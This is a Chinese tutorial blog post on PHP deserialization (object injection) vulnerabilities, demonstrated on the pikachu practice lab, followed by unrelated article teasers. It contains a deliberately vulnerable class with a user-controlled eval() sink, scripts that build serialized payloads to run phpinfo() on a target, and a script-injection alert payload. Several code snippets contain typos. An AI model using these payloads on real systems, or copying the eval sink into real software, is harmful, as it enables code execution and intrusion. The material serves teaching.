PHP反序列化漏洞原理(附带pikachu靶场演示)

1.反序列化概念

  1. 序列化:是将变量转换为可保存或传输的字符串的过程;实现函数是serialize()
  2. 反序列化:就是在适当的时候把这个字符串再转化成原来的变量使用,就是序列化的逆过程。实现函数是unserialize()

直白一点就是:序列化是把对象转换成字节流,反序列化就是为了恢复到之前的状态,把字节流转换成对象的过程。

序列化数据格式

数据类型

序列化格式

解释

整数

i:42;

表示整数值为42

浮点数

d:3.14;

表示浮点数值为3.14

字符串

s:5:"hello";

表示字符串长度为5,内容为"hello"

空字符串

s:0:"";

表示一个空字符串

数组

a:3:{i:0;s:5:"apple";i:1;s:6:"banana";i:2;s:5:"cherry";}

表示包含3个元素的数组

关联数组(对象)

O:8:"stdClass":2:{s:4:"name";s:5:"Alice";s:3:"age";i:30;}

表示一个包含两个属性的对象

布尔值

b:1;b:0;

表示真(true)或假(false)

NULL

N;

表示空值

这个表格更详细地列出了各种数据类型在PHP中的序列化格式和相应的解释。

举个详细的例子:

输出结果:

O:8:"examlple":5:{s:6:"string";s:4:"test";s:17:" examlple integer";s:1:"1";s:7:" * null";s:4:"null";s:6:"double";s:3:"1.2";s:4:"bool";s:4:"True";}

反序列化漏洞

反序列化漏洞:也叫对象注入,就是当程序在进行反序列化时,会自动调用一些函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

可以理解为程序在执行unserialize()函数是,自动执行了某些魔术方法(magic method),而魔术方法的参数被用户所控制(通过控制属性来控制参数),这就会产生安全问题。

漏洞利用条件:

  1. unserialize()函数的参数可控。
  2. 存在可利用的魔术方法。

属性赋值

要利用反序列化漏洞,必须向unserialize()函数传入构造的序列化数据(定义合适的属性值)。那么,如

何构造序列化数据呢?

<?php
show_source( __FILE__);
error_reporting(0);
class DEMO{
public $func;
public $arg ;
public function safe(){
echo $this->arg;
}
public function evi0{
eval($this->arg);
}
public function run(){
$this->{$this->func}();
}
function_construct(){
$this->func ='evil';
}
}
$obj=unserialize($_GET['a']);
$obj->run();
?>

直接写序列化数据显示是不合适的,因为序列化数据不符合人类直观,很容易出错。实际上,都是利用serialize()函数来生成序列化数据的。

生成步骤:

  1. 把题目代码复制到本地;
  2. 注释掉与属性无关的内容(方法和没用的代码);
  3. 对属性赋值;
  4. 输出ur编码后的序列化数据:
  5. 将序列化数据发送到目标服务器。

进行URL编码的原因:

  1. 原始的序列化数据可能存在不可见字符;
  2. 如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常,所以需要进行ur编码。

属性赋值的三种方法:

  1. 直接在属性中赋值:优点是方便,缺点是只能赋值字符串
<?phpClasS DEMO{
public $func='evi1';
public $arg='phpinfo();';
# public function safe(){
# echo $this->arg;
# }
# public function evil(){	
# eval($this->arg);
#}
# public function run(){
# $this->{$this->func}();
# }
#function_construct(){
# $this->func ='evil]':
# }
}
# $obj=unserialize($_GET['a']);
# $obj->run();
echo(urlencode(serialize(new DEMO())));
?>

2.外部赋值:优点是可以赋值任意类型的值,缺点是只能操作public属性。

<?php
Class DEMO{
public $func;
public $arg ;
}
$o = neW DEMO();
$o->func ='evil';
$o->arg ='phpinfo();';
echo(urlencode(serialize($o)));

3.构造方法赋值(万能方法):优点是解决了上述的全部缺点,缺点是有点麻烦

<?phpClass DEMO{
public $func;
public $arg ;
function_construct(){
$this->func ='evil';
$this->arg='phpinfo();';
}
}
$o = new DEMO();
echo(urlencode(serialize($o)));

魔术方法

魔术方法是一种特殊的方法,在某些情况下会自动调用。魔术方法的命名是以两个下划线开头的,常见

的魔术方法有:

漏洞利用

此处以pikachu为例

输入一个正常的序列化数据O:1:"S":1:{s:4:"test";s:7:"pikachu";}

输入构造好的xss

O:1:"S":1:{s:4:"test";s:30:"<script>alert('11')</script>";}

成功弹框

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/563310.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SpringMVC--RESTful

1. RESTful 1.1. RESTful简介 REST&#xff1a;Representational State Transfer&#xff0c;表现层资源状态转移。 RESTful是一种网络架构风格&#xff0c;它定义了如何通过网络进行数据的交互。这种风格基于HTTP协议&#xff0c;使得网络应用之间的通信变得更加简洁和高效。…

python爬虫--------requests案列(二十七天)

兄弟姐们&#xff0c;大家好哇&#xff01;我是喔的嘛呀。今天我们一起来学习requests案列。 一、requests____cookie登录古诗文网 1、首先想要模拟登录&#xff0c;就必须要获取登录表单数据 登录完之后点f12&#xff0c;然后点击network&#xff0c;最上面那个就是登录接口…

数据结构––kmp算法(串)

kmp算法作为串的一个重要内容&#xff0c;必然有一定的难度&#xff0c;而在看到各类教辅书里的概念与解释后&#xff0c;其晦涩难懂的内容直接劝退一部分人&#xff0c;现在&#xff0c;让我们来看看吧 KMP解决的问题类型 KMP算法的作用就是在一个已知的字符串中查找子串的位…

布控球——防爆监控设备

控球&#xff0c;作为一种专为特定场景设计的防爆监控设备&#xff0c;主要用于在高风险、易燃易爆等特殊环境中提供实时、安全、高效的视频监控服务。其主要特点和功能如下&#xff1a; 防爆性能&#xff1a;布控球首先具备出色的防爆能力&#xff0c;外壳通常采用高强度、耐高…

解开Intel ECI 的面纱

前言 Intel ECI是一个用于工业领域边缘控制的软硬件平台&#xff0c;我们今天主要探索的是软件部分&#xff0c;也就是系统镜像。区别于传统的Ubuntu或者Debian&#xff0c;ECI的强大之处在于它的实时性以及对于Intel自家芯片的缓存优化能力极强。 那么让我们来探索一下 编译…

学习51单片机 C语言知识

一、数据类型 C 语言包含的数据类型如下图所示 C51 的数据类型分为基本数据类型和组合数据类型&#xff0c;情况与标准 C 中的数据类型基本相同&#xff0c;但其中 char 型与 short 型相同&#xff0c;float 型与 double 型相同&#xff0c;另外&#xff0c;C51 中还有专门针…

2、JVM 类加载机制深度剖析

今天我们就来看看JVM的类加载机制到底是怎么样的&#xff0c;搞清楚这个过程了&#xff0c;那么以后在面试时&#xff0c;对面试官常问的JVM类加载机制&#xff0c;就能把一些核心概念说清楚了。 2.1、JVM在什么情况下会加载一个类&#xff1f; 类加载过程虽然繁琐复杂&#…

一文读懂Partisia Blockhain:兼顾去中心化、安全性与可扩展性

“Partisia Blockhain 解决了区块链领域长期存在的问题&#xff0c;其兼顾了去中心化、安全性以及可扩展性” Partisia Blockchain 是一个具有独特零知识证明预言机以及分片解决方案的 Layer1&#xff0c;解决了困扰整个区块链行业的问题。 目前&#xff0c;多样化的区块链层出…

【Linux驱动层】iTOP-RK3568学习之路(二):vscode中设置头文件路径-完成代码自动补全

在Ubuntu下用vscode写Linux驱动层的时候&#xff0c;需要添加头文件&#xff1a; #include<linux/module.h> #include<linux/init.h> #include<linux/kernel.h>但vscode没有智能提示&#xff0c;因此需要我们手动添加自己的头文件路径&#xff1a; topeetu…

个人主页源码 翻盖式LOGO

源码介绍 衍生自 Vno Jekyll 主题页面部分加载效果借鉴于 Mno Ghost 主题借鉴了北岛向南的小屋的头像样式主页的 Logo 字体已经过压缩&#xff0c;源码由HTMLCSSJS组成&#xff0c;记事本打开源码文件可以进行内容文字之类的修改 效果截图 源码下载 个人主页源码 翻盖式LOGO…

【C++】双指针算法:盛最多水的容器

1.题目 2.算法思路 有两种方法&#xff1a; 第一种&#xff1a; 暴力穷举法&#xff0c;就是用两次循环将所有的可能性算出来&#xff0c;然后求出最大值。 这种方法最容易想到&#xff0c;但时间复杂度是O(n^2)&#xff0c;一定会超时的&#xff01; 第二种&#xff1a; …

【面试经典 150 | 数组】最后一个单词的长度

文章目录 写在前面Tag题目来源解题思路方法一&#xff1a;遍历 写在最后 写在前面 本专栏专注于分析与讲解【面试经典150】算法&#xff0c;两到三天更新一篇文章&#xff0c;欢迎催更…… 专栏内容以分析题目为主&#xff0c;并附带一些对于本题涉及到的数据结构等内容进行回顾…

数字陷波器的设计

数字陷波器的设计 陷波器&#xff1a;一种特殊的带阻滤波器&#xff0c;其阻带在理想情况下只有一个频率点&#xff0c;主要用于消除某个特定频率的干扰。 例子 设计一个数字陷波器将输入信号中的50Hz工频干扰信号滤除&#xff0c;尽可能保留其他频率成分&#xff0c;设系统…

【论文笔记】基于预训练模型的持续学习(Continual Learning)(增量学习,Incremental Learning)

论文链接&#xff1a;Continual Learning with Pre-Trained Models: A Survey 代码链接&#xff1a;Github: LAMDA-PILOT 持续学习&#xff08;Continual Learning, CL&#xff09;旨在使模型在学习新知识的同时能够保留原来的知识信息了&#xff0c;然而现实任务中&#xff…

Xxl-job适配达梦数据库

项目说明 项目本身开发中采用定时框架&#xff1a;xxl-job是一个分布式任务调度平台&#xff0c;它是依托于MySQL数据库执行。但后续客户要求必须满足信创环境&#xff0c;因此调整MySQL数据库为达梦数据库。由此就有了xxl-job适配达梦数据库的一系列操作。 Xxl-job表结构导入…

spring注解驱动系列-- BeanPostProcessor与BeanFactoryPostProcessor

一、BeanPostProcessor与BeanFactoryPostProcessor的定义 一、BeanPostProcessor bean后置处理器&#xff0c;bean创建对象初始化前后进行拦截工作的 二、BeanFactoryPostProcessor beanFactory的后置处理器&#xff0c;在BeanFactory标准初始化之后调用&#xff0c;来定制和…

服务器Linux上杀死特定进程的命令:kill

1、查看用户XXX正在运行的进程 top -u xxx2、查看想要杀死的进程对应的PID 先找到此进程对应的命令 取其中的main-a3c.py即可 ps -aux | grep main-a3c.py可以看到对应的PID是1325390使用kill杀死对应PID的进程 kill -9 1325390成功&#xff0c;gpustat可以看到之前一直占…

JVM虚拟机(十二)ParallelGC、CMS、G1垃圾收集器的 GC 日志解析

目录 一、如何开启 GC 日志&#xff1f;二、GC 日志分析2.1 PSPO 日志分析2.2 ParNewCMS 日志分析2.3 G1 日志分析 三、GC 发生的原因3.1 Allocation Failure&#xff1a;新生代空间不足&#xff0c;触发 Minor GC3.2 Metadata GC Threshold&#xff1a;元数据&#xff08;方法…

Microchip 32位MCU CAN驱动图文教程-附源码

文章目录 创建一个新的32位MCU工程Microchip MCC Harmony配置界面说明在MCC下配置系统的时钟在MCC下配置所需要使用的模块配置调试打印模块配置CAN模块配置管脚功能修改系统堆栈大小生成代码 添加用户代码 创建一个新的32位MCU工程 确保电脑上已经安装最新的MPlab X IDE、XC32编…

【Qt】探索Qt框架:跨平台GUI开发的利器

文章目录 1. Qt框架概述1.1. Qt框架的优点1.2. Qt框架支持的系统1.3. Qt开发环境 2. 搭建 Qt 开发环境2.1. Qt SDK 的下载和安装2.2. 新建项目: 3. Qt 框架内容简介总结 在当今软件开发领域&#xff0c;跨平台性和用户界面的友好性是至关重要的。而Qt框架作为一款跨平台的C图形…